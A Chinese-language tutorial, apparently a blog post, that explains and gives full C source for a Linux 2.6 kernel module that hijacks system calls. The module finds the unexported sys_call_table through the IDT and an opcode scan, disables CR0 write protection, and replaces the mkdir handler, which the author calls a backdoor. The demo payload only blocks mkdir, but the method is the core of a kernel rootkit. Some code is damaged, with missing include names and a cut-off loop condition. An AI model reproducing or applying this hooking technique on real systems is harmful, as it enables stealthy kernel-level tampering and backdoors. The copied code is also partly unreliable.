在linux
2.4版本的内核中,使用了导出符号表sys_call_table.因此,很容易通过导出符号表来找到系统调用表的地址,因此给攻击程序提供了方便的策略。因此,为了安全,在2.6内核版本中,系统调用表不再被导出。下面给出在2.6内核代码中获得系统调用表,实现系统劫持的过程。(修改sys_mkdir系统调用为例)。
实现代码:
#include
#include
#include
#include
MODULE_DESCRIPTION("My kernel module");
MODULE_AUTHOR("root (root@10h212.xjtu.edu.cn)");
MODULE_LICENSE("$LICENSE$");
struct idt
{
unsigned short limit;
unsigned int base;
}__attribute__((packed));
struct idt_gate
{
unsigned short off1;
unsigned short sel;
unsigned char nome,flags;
unsigned short off2;
}__attribute__((packed));
unsigned int get_idt_base()
{
unsigned int base;
struct idt idt_table;
__asm__ __volatile__("sidt %0":"=m"(idt_table));
base=idt_table.base;
return base;
}
unsigned int get_sys_call_entry(unsigned int idt_base)
{
struct idt_gate sys_call;
memcpy(&sys_call,idt_base+8*0x80,sizeof(struct
idt_gate));
unsigned int sys_call_entry=(sys_call.off2
<< 16) | sys_call.off1;
return sys_call_entry;
}
unsigned int get_sys_call_table_entry(unsigned int
sys_call_entry,char * exp,char exp_len,unsigned int cope)
{
char * begin=sys_call_entry;
char * end=sys_call_entry+cope;
for(;begin
{
if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])
return *((unsigned int
*)(begin+3));
}
return 0;
}
void setback_cr0(unsigned int val)
{
asm
volatile ("movl %%eax, %%cr0"
:
: "a"(val)
);
}
unsigned int clear_cr0_save()
{
unsigned int cr0 = 0;
unsigned int ret;
__asm__ __volatile__ ("movl
%%cr0, %%eax":"=a"(cr0));
ret = cr0;
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"::
"a"(cr0));
return ret;
}
// new mkdir
asmlinkage long my_mkdir(const char *name,int mod)
{
printk(KERN_ALERT"mkdir call is intercepted\n");
}
asmlinkage long my_open(const char *name,int mod)
{
printk(KERN_ALERT"open call is intercepted\n");
}
static int syscall_info_init_module(void)
{
unsigned int idt_base=get_idt_base();
printk( KERN_ALERT"the idt base address is
%x\n",idt_base );
unsigned int
sys_call_entry=get_sys_call_entry(idt_base);
printk( KERN_ALERT"the sys
call entry is %x\n",sys_call_entry );
unsigned int
sys_table=get_sys_call_table_entry(sys_call_entry,"\xff\x14\x85",3,100);
void ** table=(void
**)sys_table;
//wp clear
unsigned
int cr0=clear_cr0_save();
// intercept mkdir call
table[__NR_mkdir]=my_mkdir;
// table[__NR_open]=my_mkoep;
//set wp bit
setback_cr0(cr0);
printk( KERN_ALERT"the sys
table is %x\n",sys_table );
return 0;
}
static void syscall_info_exit_module(void)
{
printk( KERN_DEBUG "Module
syscall_info exit\n" );
}
module_init(syscall_info_init_module);
module_exit(syscall_info_exit_module);
实现原理:
在linux中使用0x80
异常实现系统调用,因此,主要的实现路径:获得中断向量表->获得系统调用中断处理函数地址->获得系统调用符号表->修改对应变量的偏移值指向新的系统调用程序(后门程序)。
一,中断像量表的获取。
在x86中,idtr寄存器使得中断向量表可以存放在内存的任何位置,idtr寄存器有一个基地址和一个段限组成,高四字节为基地址,低两字节为段限。可以通过sidt指令获得idtr的内容。
struct idt
{
unsigned short limit;
unsigned int base;
}__attribute__((packed));
__asm__ __volatile__("sidt %0":"=m"(idt_table));
上面语句通过sidt将idtr的内容付给idt_table,通过idt_table.base即可得到idt的基地址。
二,系统调用处理函数地址的获取:
IDT基地址存放的是中断门,每个门8个字节,门描述符的格式参考intel开发手册,其中,中断门的最低两个字节和最高两个字节构成了中断处理程序的地址。获得系统调用中断(异常)处理程序的地址
memcpy(&sys_call,idt_base+8*0x80,sizeof(struct
idt_gate));
unsigned int sys_call_entry=(sys_call.off2
<< 16) | sys_call.off1;
return sys_call_entry;
通过sys_call结构体的off2字段和off1字段来获得系统调用处理程序的地址。
中断门描述符:
struct idt_gate
{
unsigned short off1;
unsigned short sel;
unsigned char nome,flags;
unsigned short off2;
}__attribute__((packed));
三,获得系统调用表。
我们的目的是修改系统调用地址,从而修改系统处理程序地址。sys_call是所有系统调用的处理程序,在进行一些必要的处理后,统一调用
call
sys_call_table(,eax,4)来调用系统调用表中的系统调用程序,eax存放的即系统调用号,因此,获取sys_call_table的地址即可以达到目的。
通过反汇编sys_call函数,可以得知,只有在调用系统调用处使用了call指令,x86
call指令的二进制格式为\xff\x14\x85,因此,我们可以从sys_call函数开始进行搜索,当出现\xff\x14\x85指令的时候,即为call的地址,从而能得到存放sys_call_table的地址即当前地址+3,而系统调用表即地址的内容,因此,获取系统调用表地址的实现过程就简单了。
unsigned int get_sys_call_table_entry(unsigned int
sys_call_entry,char * exp,char exp_len,unsigned int cope)
{
char * begin=sys_call_entry;
char * end=sys_call_entry+cope;
for(;begin
{
if(begin[0]==exp[0]&&begin[1]==exp[1]&&begin[2]==exp[2])
return *((unsigned int
*)(begin+3));
}
return 0;
}
这是通过简单的搜索的方式来找到call 指令,从而得到sys_call_table的地址的。
四,劫持系统调用
首先,准备了一个替代的系统调用
asmlinkage long my_mkdir(const char *name,int mod)
{
printk(KERN_ALERT"mkdir call is intercepted\n");
}
然后设置cr0寄存器的wp位,然后修改mkdir系统调用地址,设置为my_mkdir的地址。
unsigned int cr0=clear_cr0_save();
// intercept mkdir call
table[__NR_mkdir]=my_mkdir;
// table[__NR_open]=my_mkoep;
//set wp bit
setback_cr0(cr0);
注:如果不清楚cr0的wp位,则出现段错误,原因是,对相关页实现了写保护策略,因此,。应该通过cr0寄存器wp位置来使得页表保护无效,修改后,再设置为原来的值。
这样,将模块加载到内核后,即可以实现系统调用的劫持。在terminal中输入mkdir命令,即可发现,不能创建文件夹了。